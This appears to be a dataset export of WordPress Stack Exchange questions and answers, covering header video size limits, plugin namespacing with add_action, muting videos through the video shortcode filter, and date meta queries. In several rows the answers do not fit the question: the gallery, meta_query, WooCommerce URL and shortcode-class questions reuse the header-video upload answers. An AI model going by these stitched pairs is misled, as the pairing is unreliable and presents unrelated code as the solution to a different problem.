qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
284,841
<p>I'm using a theme that supports WordPress's (relatively new) video header feature. I want to upload a video that's over 8MB big, and I don't want to reduce the size of the video. How can I force it to accept a larger video? Is there a file that I can edit or a plugin that I can download?</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/\" rel=\"nofollow noreferrer\"><code>_validate_header_video</code></a> method, registered as validation callback on respective Customizer setting.</p>\n\n<p>There is a filter that allows you to hook into the process and manipulate those arguments:</p>\n\n<pre><code>add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) {\n\n if ( 'header_video' === $id ) {\n // change $args['validate_callback']\n }\n\n return $args;\n}, 10, 2 );\n</code></pre>\n" }, { "answer_id": 284866, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 0, "selected": false, "text": "<p>check your <strong>max_upload_size</strong> in your \"php.ini\" file.</p>\n\n<p>check more on this. <a href=\"https://www.bitcatcha.com/blog/2016/increase-maximum-upload-file-size-in-wordpress/\" rel=\"nofollow noreferrer\">URL 1</a>, <a href=\"http://www.thecreatology.com/how-to-increase-upload-media-file-size-limit-in-wordpress.html\" rel=\"nofollow noreferrer\">URL 2</a>, </p>\n\n<p>Hope this will helps you.</p>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284841", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119995/" ]
I'm using a theme that supports WordPress's (relatively new) video header feature. I want to upload a video that's over 8MB big, and I don't want to reduce the size of the video. How can I force it to accept a larger video? Is there a file that I can edit or a plugin that I can download?
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,853
<h1>What I want to achieve</h1> <p>The editor should be able to add galleries via the native wordpress way <strong>and choose between 3 different gallery types</strong>. These 3 types should all have their custom code-output, defined by me. I'd like to go a step further and give the editor <strong>only</strong> the gallery-type to choose from.</p> <p>I imagine the admin-area add-on really simple, like so: <a href="https://i.stack.imgur.com/de5U2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/de5U2.png" alt="enter image description here"></a></p> <p>Could somebody please walk me through the process of implementing this. Noteform is enough! Specifically:</p> <ol> <li>Giving the editor <strong>only</strong> a dropdown to choose the gallery-type</li> <li>Custom output for the different types.</li> </ol> <p>,</p> <p>Thank you!</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/\" rel=\"nofollow noreferrer\"><code>_validate_header_video</code></a> method, registered as validation callback on respective Customizer setting.</p>\n\n<p>There is a filter that allows you to hook into the process and manipulate those arguments:</p>\n\n<pre><code>add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) {\n\n if ( 'header_video' === $id ) {\n // change $args['validate_callback']\n }\n\n return $args;\n}, 10, 2 );\n</code></pre>\n" }, { "answer_id": 284866, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 0, "selected": false, "text": "<p>check your <strong>max_upload_size</strong> in your \"php.ini\" file.</p>\n\n<p>check more on this. <a href=\"https://www.bitcatcha.com/blog/2016/increase-maximum-upload-file-size-in-wordpress/\" rel=\"nofollow noreferrer\">URL 1</a>, <a href=\"http://www.thecreatology.com/how-to-increase-upload-media-file-size-limit-in-wordpress.html\" rel=\"nofollow noreferrer\">URL 2</a>, </p>\n\n<p>Hope this will helps you.</p>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284853", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102487/" ]
What I want to achieve ====================== The editor should be able to add galleries via the native wordpress way **and choose between 3 different gallery types**. These 3 types should all have their custom code-output, defined by me. I'd like to go a step further and give the editor **only** the gallery-type to choose from. I imagine the admin-area add-on really simple, like so: [![enter image description here](https://i.stack.imgur.com/de5U2.png)](https://i.stack.imgur.com/de5U2.png) Could somebody please walk me through the process of implementing this. Noteform is enough! Specifically: 1. Giving the editor **only** a dropdown to choose the gallery-type 2. Custom output for the different types. , Thank you!
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,854
<p>I have a list of competitions for which I set deadlines using Wordpress' built-in custom fields, in a YYYYMMDD format. I want to create a custom loop to display only the competitions that are now closed, meaning that their deadlines are older than today's date. </p> <p>I tried doing the following, but this displays all competitions, both open and closed: </p> <pre><code>$args = array( 'meta_query' =&gt; array( 'key' =&gt; 'deadline', 'value' =&gt; date( 'Ymd' ), 'compare' =&gt; '=&lt;', 'type' =&gt; 'DATE' ) ); $open_comps = new WP_Query( $args ); </code></pre> <p>Any ideas?</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/\" rel=\"nofollow noreferrer\"><code>_validate_header_video</code></a> method, registered as validation callback on respective Customizer setting.</p>\n\n<p>There is a filter that allows you to hook into the process and manipulate those arguments:</p>\n\n<pre><code>add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) {\n\n if ( 'header_video' === $id ) {\n // change $args['validate_callback']\n }\n\n return $args;\n}, 10, 2 );\n</code></pre>\n" }, { "answer_id": 284866, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 0, "selected": false, "text": "<p>check your <strong>max_upload_size</strong> in your \"php.ini\" file.</p>\n\n<p>check more on this. <a href=\"https://www.bitcatcha.com/blog/2016/increase-maximum-upload-file-size-in-wordpress/\" rel=\"nofollow noreferrer\">URL 1</a>, <a href=\"http://www.thecreatology.com/how-to-increase-upload-media-file-size-limit-in-wordpress.html\" rel=\"nofollow noreferrer\">URL 2</a>, </p>\n\n<p>Hope this will helps you.</p>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284854", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I have a list of competitions for which I set deadlines using Wordpress' built-in custom fields, in a YYYYMMDD format. I want to create a custom loop to display only the competitions that are now closed, meaning that their deadlines are older than today's date. I tried doing the following, but this displays all competitions, both open and closed: ``` $args = array( 'meta_query' => array( 'key' => 'deadline', 'value' => date( 'Ymd' ), 'compare' => '=<', 'type' => 'DATE' ) ); $open_comps = new WP_Query( $args ); ``` Any ideas?
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,859
<p>I have noticed that when i navigate to a product in my woocommerce site the URL is</p> <pre><code>https://mydomain.co.uk/product/procrastination-facebook-font-parody-graphic-quality-t-shirt-tee-mens-unisex/ </code></pre> <p>and for the category it is:</p> <pre><code>https://mydomain.co.uk/product-category/t-shirts/mensunisex-t-shirts/social-networking/ </code></pre> <p>How do i get rid of the /product and /product-category parts of the uRL</p> <p>Thanks</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/\" rel=\"nofollow noreferrer\"><code>_validate_header_video</code></a> method, registered as validation callback on respective Customizer setting.</p>\n\n<p>There is a filter that allows you to hook into the process and manipulate those arguments:</p>\n\n<pre><code>add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) {\n\n if ( 'header_video' === $id ) {\n // change $args['validate_callback']\n }\n\n return $args;\n}, 10, 2 );\n</code></pre>\n" }, { "answer_id": 284866, "author": "Sunil Dora", "author_id": 128944, "author_profile": "https://wordpress.stackexchange.com/users/128944", "pm_score": 0, "selected": false, "text": "<p>check your <strong>max_upload_size</strong> in your \"php.ini\" file.</p>\n\n<p>check more on this. <a href=\"https://www.bitcatcha.com/blog/2016/increase-maximum-upload-file-size-in-wordpress/\" rel=\"nofollow noreferrer\">URL 1</a>, <a href=\"http://www.thecreatology.com/how-to-increase-upload-media-file-size-limit-in-wordpress.html\" rel=\"nofollow noreferrer\">URL 2</a>, </p>\n\n<p>Hope this will helps you.</p>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284859", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129316/" ]
I have noticed that when i navigate to a product in my woocommerce site the URL is ``` https://mydomain.co.uk/product/procrastination-facebook-font-parody-graphic-quality-t-shirt-tee-mens-unisex/ ``` and for the category it is: ``` https://mydomain.co.uk/product-category/t-shirts/mensunisex-t-shirts/social-networking/ ``` How do i get rid of the /product and /product-category parts of the uRL Thanks
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,877
<p>I decided to namespace my plugin, and I got it all to work, except in my main plugin file.</p> <p>I added two actions in that plugin, before calling the init method of the plugin.</p> <pre><code>&lt;?php namespace myPlugin; add_action( 'admin_init', 'add_activation_notice' ); function add_activation_notice() { add_action( 'admin_notices', 'activation_notice' ); } function activation_notice() { echo 'Notice!'; } </code></pre> <p>But this throws error</p> <blockquote> <p><strong>Uncaught Error</strong>: Undefined constant 'myPlugin\myPlugin\add_activation_notice' </p> </blockquote> <p>I'm rather new to namespacing, so I don't know why this happens.</p> <p>The two functions <code>add_activation_notice</code> and <code>activation_notice</code> are in the <code>myPlugin</code> namespace. Most of the code I found online reference methods inside classes, but I need these to be outside of a class so that I can have plugin activation notice.</p> <p>EDIT:</p> <p>When I try with </p> <pre><code>add_action( 'admin_init', \add_activation_notice() ); </code></pre> <p>I get</p> <blockquote> <p><strong>Fatal error</strong>: Uncaught Error: Call to undefined function add_activation_notice()</p> </blockquote>
[ { "answer_id": 284883, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": false, "text": "<p>The easiest way would be to enclose your code in curly brackets:</p>\n\n<pre><code>namespace myPlugin {\n\n add_action( 'admin_init', __NAMESPACE__ . '\\\\add_activation_notice' );\n\n function add_activation_notice() {\n add_action( 'admin_notice', __NAMESPACE__ . '\\\\activation_notice' );\n }\n\n function activation_notice() {\n echo 'Notice!';\n }\n}\n</code></pre>\n\n<p>Otherwise, your action will look for <code>activation_notice</code> function in a global namespace.</p>\n\n<h2>Update</h2>\n\n<p>There is no <code>admin_notice</code> hook. Use <code>admin_notices</code> instead. Try:</p>\n\n<pre><code>namespace myPlugin {\n add_action( 'admin_init', __NAMESPACE__ . '\\\\add_activation_notice');\n\n function add_activation_notice() {\n add_action( 'admin_notices', __NAMESPACE__ . '\\\\activation_notice' );\n }\n\n function activation_notice() {\n ?&gt;\n &lt;div class=\"notice notice-info is-dismissible\"&gt;\n &lt;p&gt;&lt;?php echo 'Done!'; ?&gt;&lt;/p&gt;\n &lt;/div&gt;\n &lt;?php\n }\n}\n</code></pre>\n" }, { "answer_id": 284888, "author": "ssnepenthe", "author_id": 125601, "author_profile": "https://wordpress.stackexchange.com/users/125601", "pm_score": 6, "selected": true, "text": "<p>Before going too far down this path I would suggest that you familiarize yourself with <a href=\"https://secure.php.net/manual/en/language.namespaces.rules.php\" rel=\"noreferrer\">PHP name resolution rules</a>.</p>\n\n<p>To answer your actual question -</p>\n\n<p>When you namespace functions, the fully qualified name of those functions includes the namespace.</p>\n\n<p>In your example, you have defined two functions: <code>\\myPlugin\\add_activation_notice</code> and <code>\\myPlugin\\activation_notice</code>.</p>\n\n<p>When calling either of these from within the <code>myPlugin</code> namespace, you can use the unqualified name (i.e. <code>activation_notice()</code>) but outside of the <code>myPlugin</code> namespace you have to follow the name resolution rules linked above.</p>\n\n<p>In the case of <code>add_action()</code> - while this is called from within your <code>myPlugin</code> namespace, you are not passing the actual function but rather the function name as a string. WordPress later attempts to call that function from the global namespace.</p>\n\n<p>The solution to your problem should be to include the <code>myPlugin</code> namespace in the function name passed to <code>add_action</code> (pay special attention to the escaped backslash):</p>\n\n<pre><code>add_action( 'admin_init', 'myPlugin\\\\add_activation_notice' );\nadd_action( 'admin_notice', 'myPlugin\\\\activation_notice' );\n</code></pre>\n\n<p>My preferred method of doing this would be by concatenating the <a href=\"https://secure.php.net/manual/en/language.constants.predefined.php\" rel=\"noreferrer\"><code>__NAMESPACE__</code> magic constant</a> which simplifies things slightly if you should you ever decide to change your namespaces:</p>\n\n<pre><code>add_action( 'admin_init', __NAMESPACE__ . '\\\\add_activation_notice' );\nadd_action( 'admin_notice', __NAMESPACE__ . '\\\\activation_notice' );\n</code></pre>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284877", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58895/" ]
I decided to namespace my plugin, and I got it all to work, except in my main plugin file. I added two actions in that plugin, before calling the init method of the plugin. ``` <?php namespace myPlugin; add_action( 'admin_init', 'add_activation_notice' ); function add_activation_notice() { add_action( 'admin_notices', 'activation_notice' ); } function activation_notice() { echo 'Notice!'; } ``` But this throws error > > **Uncaught Error**: Undefined constant 'myPlugin\myPlugin\add\_activation\_notice' > > > I'm rather new to namespacing, so I don't know why this happens. The two functions `add_activation_notice` and `activation_notice` are in the `myPlugin` namespace. Most of the code I found online reference methods inside classes, but I need these to be outside of a class so that I can have plugin activation notice. EDIT: When I try with ``` add_action( 'admin_init', \add_activation_notice() ); ``` I get > > **Fatal error**: Uncaught Error: Call to undefined function add\_activation\_notice() > > >
Before going too far down this path I would suggest that you familiarize yourself with [PHP name resolution rules](https://secure.php.net/manual/en/language.namespaces.rules.php). To answer your actual question - When you namespace functions, the fully qualified name of those functions includes the namespace. In your example, you have defined two functions: `\myPlugin\add_activation_notice` and `\myPlugin\activation_notice`. When calling either of these from within the `myPlugin` namespace, you can use the unqualified name (i.e. `activation_notice()`) but outside of the `myPlugin` namespace you have to follow the name resolution rules linked above. In the case of `add_action()` - while this is called from within your `myPlugin` namespace, you are not passing the actual function but rather the function name as a string. WordPress later attempts to call that function from the global namespace. The solution to your problem should be to include the `myPlugin` namespace in the function name passed to `add_action` (pay special attention to the escaped backslash): ``` add_action( 'admin_init', 'myPlugin\\add_activation_notice' ); add_action( 'admin_notice', 'myPlugin\\activation_notice' ); ``` My preferred method of doing this would be by concatenating the [`__NAMESPACE__` magic constant](https://secure.php.net/manual/en/language.constants.predefined.php) which simplifies things slightly if you should you ever decide to change your namespaces: ``` add_action( 'admin_init', __NAMESPACE__ . '\\add_activation_notice' ); add_action( 'admin_notice', __NAMESPACE__ . '\\activation_notice' ); ```
284,882
<p>I'm trying to add a 'muted' option to the video tag output with the content of a post using the built in wp video shortcode. I found this answer <a href="https://wordpress.stackexchange.com/questions/220572/how-can-i-get-the-video-shortcode-to-allow-query-string-parameters">How can I get the [video] shortcode to allow query string parameters?</a> which has led me to the add_filter but I'm really struggling how to use it? I thought the following code might work:</p> <pre><code>function my_video_shortcode( $output, $atts, $video, $post_id, $library ) { /** * @param string $output Video shortcode HTML output. * @param array $atts Array of video shortcode attributes. * @param string $video Video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. */ $html_atts = array( 'class' =&gt; apply_filters( 'wp_video_shortcode_class', 'wp-video-shortcode' ), 'id' =&gt; sprintf( 'video-%d-%d', $post_id, $instance ), 'width' =&gt; absint( $atts['width'] ), 'height' =&gt; absint( $atts['height'] ), 'poster' =&gt; esc_url( $atts['poster'] ), 'loop' =&gt; wp_validate_boolean( $atts['loop'] ), 'autoplay' =&gt; wp_validate_boolean( $atts['autoplay'] ), 'preload' =&gt; $atts['preload'], 'muted' =&gt; 'muted', ); $attr_strings = array(); foreach ( $html_atts as $k =&gt; $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library &amp;&amp; 1 === $instance ) { $html .= "&lt;!--[if lt IE 9]&gt;&lt;script&gt;document.createElement('video');&lt;/script&gt;&lt;![endif]--&gt;\n"; } $html .= sprintf( '&lt;video %s controls="controls"&gt;', join( ' ', $attr_strings ) ); $fileurl = ''; $source = '&lt;source type="%s" src="%s" /&gt;'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } if ( 'src' === $fallback &amp;&amp; $is_youtube ) { $type = array( 'type' =&gt; 'video/youtube' ); } elseif ( 'src' === $fallback &amp;&amp; $is_vimeo ) { $type = array( 'type' =&gt; 'video/vimeo' ); } else { $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); } $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( ! empty( $content ) ) { if ( false !== strpos( $content, "\n" ) ) { $content = str_replace( array( "\r\n", "\n", "\t" ), '', $content ); } $html .= trim( $content ); } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '&lt;/video&gt;'; $width_rule = ''; if ( ! empty( $atts['width'] ) ) { $width_rule = sprintf( 'width: %dpx; ', $atts['width'] ); } $output = sprintf( '&lt;div style="%s" class="wp-video"&gt;%s&lt;/div&gt;', $width_rule, $html ); return $output; } add_filter('wp_video_shortcode', 'my_video_shortcode', 10, 2); </code></pre> <p>I get Undefined variable: for $video, $post_id and $library and the video's in the page are blank. It is because they don't have a video source but muted is there, though I realise not correctly. </p> <p>Here's one of the output in the page:</p> <pre><code>&lt;div style="width: 1306px; " class="wp-video"&gt; &lt;video class="wp-video-shortcode" id="video-0-0" width="1306" height="882" poster="" loop="" autoplay="" preload="metadata" muted="muted" controls="controls"&gt;&lt;/video&gt; </code></pre> <p></p> <p>I could write my own shortcode for video's but it's already almost there and built in, so it seems unnecessary to do it. </p> <p>I would love to add a check box to the media library options as well, but a nice to have.</p> <p>Any help much appreciated.</p>
[ { "answer_id": 284892, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>I get Undefined variable: for $video, $post_id and $library and the\n video's in the page are blank.</p>\n</blockquote>\n\n<p>Replace:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 );\n</code></pre>\n\n<p>with:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 );\n</code></pre>\n\n<p>to access all five input arguments in your filter's callback.</p>\n\n<p>ps: <code>my_</code> is such a common prefix, that I would consider something more unique.</p>\n\n<p>pps: Here's another approach by overriding the shortcode:</p>\n\n<pre><code>add_shortcode( 'video', function ( $atts, $content ) \n{\n $output = wp_video_shortcode( $atts, $content );\n\n if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) \n return $output;\n\n if( false !== stripos( $output, ' muted=\"1\"' ) )\n return $output;\n\n return str_ireplace( '&lt;video ', '&lt;video muted=\"1\" ', $output ); \n} );\n</code></pre>\n\n<p>where the <code>muted</code> attribute is activated with:</p>\n\n<pre><code>[video muted=\"1\" ... ]\n</code></pre>\n\n<p>Hope you can adjust it to your needs!</p>\n" }, { "answer_id": 295574, "author": "WPExplorer", "author_id": 68694, "author_profile": "https://wordpress.stackexchange.com/users/68694", "pm_score": 2, "selected": false, "text": "<p>This code will automatically add muted to all videos - clean and simple:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', function( $output ) {\n $output = str_replace( '&lt;video', '&lt;video muted', $output );\n return $output;\n} );\n</code></pre>\n\n<p>And usually you would only want this for autoplaying videos so you can target those only like such:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', function( $output ) {\n if ( false !== strpos( $output, 'autoplay=\"1\"' ) ) {\n $output = str_replace( '&lt;video', '&lt;video muted', $output );\n }\n return $output;\n} );\n</code></pre>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284882", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/122525/" ]
I'm trying to add a 'muted' option to the video tag output with the content of a post using the built in wp video shortcode. I found this answer [How can I get the [video] shortcode to allow query string parameters?](https://wordpress.stackexchange.com/questions/220572/how-can-i-get-the-video-shortcode-to-allow-query-string-parameters) which has led me to the add\_filter but I'm really struggling how to use it? I thought the following code might work: ``` function my_video_shortcode( $output, $atts, $video, $post_id, $library ) { /** * @param string $output Video shortcode HTML output. * @param array $atts Array of video shortcode attributes. * @param string $video Video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. */ $html_atts = array( 'class' => apply_filters( 'wp_video_shortcode_class', 'wp-video-shortcode' ), 'id' => sprintf( 'video-%d-%d', $post_id, $instance ), 'width' => absint( $atts['width'] ), 'height' => absint( $atts['height'] ), 'poster' => esc_url( $atts['poster'] ), 'loop' => wp_validate_boolean( $atts['loop'] ), 'autoplay' => wp_validate_boolean( $atts['autoplay'] ), 'preload' => $atts['preload'], 'muted' => 'muted', ); $attr_strings = array(); foreach ( $html_atts as $k => $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library && 1 === $instance ) { $html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n"; } $html .= sprintf( '<video %s controls="controls">', join( ' ', $attr_strings ) ); $fileurl = ''; $source = '<source type="%s" src="%s" />'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } if ( 'src' === $fallback && $is_youtube ) { $type = array( 'type' => 'video/youtube' ); } elseif ( 'src' === $fallback && $is_vimeo ) { $type = array( 'type' => 'video/vimeo' ); } else { $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); } $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( ! empty( $content ) ) { if ( false !== strpos( $content, "\n" ) ) { $content = str_replace( array( "\r\n", "\n", "\t" ), '', $content ); } $html .= trim( $content ); } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '</video>'; $width_rule = ''; if ( ! empty( $atts['width'] ) ) { $width_rule = sprintf( 'width: %dpx; ', $atts['width'] ); } $output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html ); return $output; } add_filter('wp_video_shortcode', 'my_video_shortcode', 10, 2); ``` I get Undefined variable: for $video, $post\_id and $library and the video's in the page are blank. It is because they don't have a video source but muted is there, though I realise not correctly. Here's one of the output in the page: ``` <div style="width: 1306px; " class="wp-video"> <video class="wp-video-shortcode" id="video-0-0" width="1306" height="882" poster="" loop="" autoplay="" preload="metadata" muted="muted" controls="controls"></video> ``` I could write my own shortcode for video's but it's already almost there and built in, so it seems unnecessary to do it. I would love to add a check box to the media library options as well, but a nice to have. Any help much appreciated.
> > I get Undefined variable: for $video, $post\_id and $library and the > video's in the page are blank. > > > Replace: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 ); ``` with: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 ); ``` to access all five input arguments in your filter's callback. ps: `my_` is such a common prefix, that I would consider something more unique. pps: Here's another approach by overriding the shortcode: ``` add_shortcode( 'video', function ( $atts, $content ) { $output = wp_video_shortcode( $atts, $content ); if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) return $output; if( false !== stripos( $output, ' muted="1"' ) ) return $output; return str_ireplace( '<video ', '<video muted="1" ', $output ); } ); ``` where the `muted` attribute is activated with: ``` [video muted="1" ... ] ``` Hope you can adjust it to your needs!
284,905
<p>Bonsoir, I want to pass shortcode attributes to my class in a form of an array and the name of my shorcode but in the wordpress codex doesn't says how could i do that, this is my code</p> <pre><code> $atributos=array('url' =&gt; ' ','text' =&gt; ' '); $shortcode_name="myshortcode"; class MyLittleClass { public static function exe_short( $atts, $atributos, $shortcode_name) { $_atts = shortcode_atts($atributos, $atts ); // Attributes turn to variables $url = $_atts['url']; $text = $_atts['text']; ob_start(); include(ABS_DIR . '/includes/dynamics/'.$shortcode_name.'/index.php'); $content = ob_get_clean(); return $content; } } add_shortcode( $shortcode_name, array( 'MyPlugin', 'exe_short'); </code></pre> <p>I know Im not passing the variables $atributos and $shortcode_name as an argumens for exeshort() in the function add_shortcode() but if i do this</p> <pre><code>add_shortcode( $shortcode_name, array( 'MyPlugin',exe_short($atts, $atributos, $shortcode_name)) </code></pre> <p>It doesnt work either, how could I pass those variables to my class function ?</p>
[ { "answer_id": 284892, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>I get Undefined variable: for $video, $post_id and $library and the\n video's in the page are blank.</p>\n</blockquote>\n\n<p>Replace:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 );\n</code></pre>\n\n<p>with:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 );\n</code></pre>\n\n<p>to access all five input arguments in your filter's callback.</p>\n\n<p>ps: <code>my_</code> is such a common prefix, that I would consider something more unique.</p>\n\n<p>pps: Here's another approach by overriding the shortcode:</p>\n\n<pre><code>add_shortcode( 'video', function ( $atts, $content ) \n{\n $output = wp_video_shortcode( $atts, $content );\n\n if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) \n return $output;\n\n if( false !== stripos( $output, ' muted=\"1\"' ) )\n return $output;\n\n return str_ireplace( '&lt;video ', '&lt;video muted=\"1\" ', $output ); \n} );\n</code></pre>\n\n<p>where the <code>muted</code> attribute is activated with:</p>\n\n<pre><code>[video muted=\"1\" ... ]\n</code></pre>\n\n<p>Hope you can adjust it to your needs!</p>\n" }, { "answer_id": 295574, "author": "WPExplorer", "author_id": 68694, "author_profile": "https://wordpress.stackexchange.com/users/68694", "pm_score": 2, "selected": false, "text": "<p>This code will automatically add muted to all videos - clean and simple:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', function( $output ) {\n $output = str_replace( '&lt;video', '&lt;video muted', $output );\n return $output;\n} );\n</code></pre>\n\n<p>And usually you would only want this for autoplaying videos so you can target those only like such:</p>\n\n<pre><code>add_filter( 'wp_video_shortcode', function( $output ) {\n if ( false !== strpos( $output, 'autoplay=\"1\"' ) ) {\n $output = str_replace( '&lt;video', '&lt;video muted', $output );\n }\n return $output;\n} );\n</code></pre>\n" } ]
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284905", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130802/" ]
Bonsoir, I want to pass shortcode attributes to my class in a form of an array and the name of my shorcode but in the wordpress codex doesn't says how could i do that, this is my code ``` $atributos=array('url' => ' ','text' => ' '); $shortcode_name="myshortcode"; class MyLittleClass { public static function exe_short( $atts, $atributos, $shortcode_name) { $_atts = shortcode_atts($atributos, $atts ); // Attributes turn to variables $url = $_atts['url']; $text = $_atts['text']; ob_start(); include(ABS_DIR . '/includes/dynamics/'.$shortcode_name.'/index.php'); $content = ob_get_clean(); return $content; } } add_shortcode( $shortcode_name, array( 'MyPlugin', 'exe_short'); ``` I know Im not passing the variables $atributos and $shortcode\_name as an argumens for exeshort() in the function add\_shortcode() but if i do this ``` add_shortcode( $shortcode_name, array( 'MyPlugin',exe_short($atts, $atributos, $shortcode_name)) ``` It doesnt work either, how could I pass those variables to my class function ?
> > I get Undefined variable: for $video, $post\_id and $library and the > video's in the page are blank. > > > Replace: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 ); ``` with: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 ); ``` to access all five input arguments in your filter's callback. ps: `my_` is such a common prefix, that I would consider something more unique. pps: Here's another approach by overriding the shortcode: ``` add_shortcode( 'video', function ( $atts, $content ) { $output = wp_video_shortcode( $atts, $content ); if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) return $output; if( false !== stripos( $output, ' muted="1"' ) ) return $output; return str_ireplace( '<video ', '<video muted="1" ', $output ); } ); ``` where the `muted` attribute is activated with: ``` [video muted="1" ... ] ``` Hope you can adjust it to your needs!
284,960
